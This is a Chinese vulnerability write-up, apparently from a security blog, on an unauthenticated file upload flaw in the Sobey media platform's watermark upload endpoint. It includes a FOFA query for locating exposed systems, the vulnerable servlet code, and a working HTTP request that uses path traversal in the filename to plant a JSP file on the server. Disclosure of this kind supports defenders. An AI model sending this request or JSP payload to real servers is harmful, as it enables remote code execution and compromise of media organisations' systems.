索贝融媒体 /sobey-mchEditor/watermark/upload 文件上传漏洞


漏洞简介

索贝融媒体是一套面向媒体机构的综合内容生产与管理平台,广泛应用于电视台、融媒体中心等场景,提供稿件采编、媒资处理、节目编排及多终端发布等功能。该系统的 /sobey-mchEditor/watermark/upload 接口在文件上传功能中缺乏有效的类型与安全校验,攻击者可通过构造特制的上传请求,将任意可执行脚本或恶意文件写入服务器指定目录。成功利用该漏洞后,攻击者可能直接在服务器上执行任意代码,从而获取系统权限、控制业务逻辑、窃取敏感数据,甚至进一步对内网环境发起攻击,对业务安全构成严重威胁。

影响版本

fofa语法

app="SOBEY-融媒体"

漏洞分析

直接看漏洞url对应的WebServlet实现逻辑

@WebServlet({"/watermark/upload"})
public class WatermarkUploader extends HttpServlet {
    protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        req.setCharacterEncoding("utf-8");
        resp.setContentType("application/json;charset=utf-8");
        FileItemFactory factory = new DiskFileItemFactory();

        try {
            ServletFileUpload upload = new ServletFileUpload(factory);
            upload.setFileSizeMax(20480000L);

            for(FileItem fileItem : upload.parseRequest(req)) {
                if (!fileItem.isFormField()) {
                    String name = fileItem.getName();
                    if (name.contains("\\")) {
                        name = name.substring(name.lastIndexOf("\\") + 1);
                    }

                    long size = fileItem.getSize();
                    if (size != 0L) {
                        String path = Constant.UPLOAD_PATH + SimpleDateFormatFactory.format(new Date(), "yyyy/MM/dd");
                        String filePath = SystemConfigUtil.getDiskpath() + path;
                        File file = new File(filePath);
                        if (!file.exists()) {
                            file.mkdirs();
                        }

                        fileItem.write(new File(filePath + "/" + name));
                        ZCNWatermarkSchema watermark = new ZCNWatermarkSchema();
                        watermark.setID(NoUtil.getMaxID("WatermarkID"));
                        watermark.setSiteID(1L);
                        watermark.setTitle(name);
                        watermark.setType("watermark");
                        watermark.setUrl(SystemConfigUtil.getNgixPath() + path + "/" + name);
                        watermark.setAddTime(new Date());
                        watermark.insert();
                    }
                }
            }

            resp.getWriter().write("{\"status\":200}");
        } catch (Exception e) {
            e.printStackTrace();
            resp.getWriter().write("{\"status\":500}");
        }

    }
}

一个基于Servlet的文件上传功能,专门用于上传水印图片。它利用Apache Commons FileUpload库解析HTTP多部分请求,将上传的图片保存到服务器的指定目录下(按日期组织),同时将水印的相关信息(如ID、名称、URL、添加时间)保存到数据库中。整个过程包含了错误处理,成功则返回 {"status":200},失败则返回 {"status":500}。代码中还包含了对文件名中的路径处理、文件大小限制以及目录自动创建的逻辑。但是没有对上传文件类型和内容进行检测,导致可以上传任意文件内容。

漏洞复现

POST /sobey-mchEditor/watermark/upload HTTP/1.1
Host: sobey.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="../../../../../../../../../usr/local/tomcat/webapps/sobey-mchEditor/1.jsp"
Content-Type: image/jpeg

<%out.println(java.util.UUID.randomUUID().toString());new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundary--

访问上传文件 /sobey-mchEditor/1.jsp

成执行上传代码,打印UUID并删除自身


手机扫码阅读

索贝融媒体 /sobey-mchEditor/tianma/op SQL注入漏洞

用友U8+渠道管理(高级版) datacollectfile.jsp 文件上传漏洞

评 论
avatar
感谢分享!!!!!!
1 年前 回复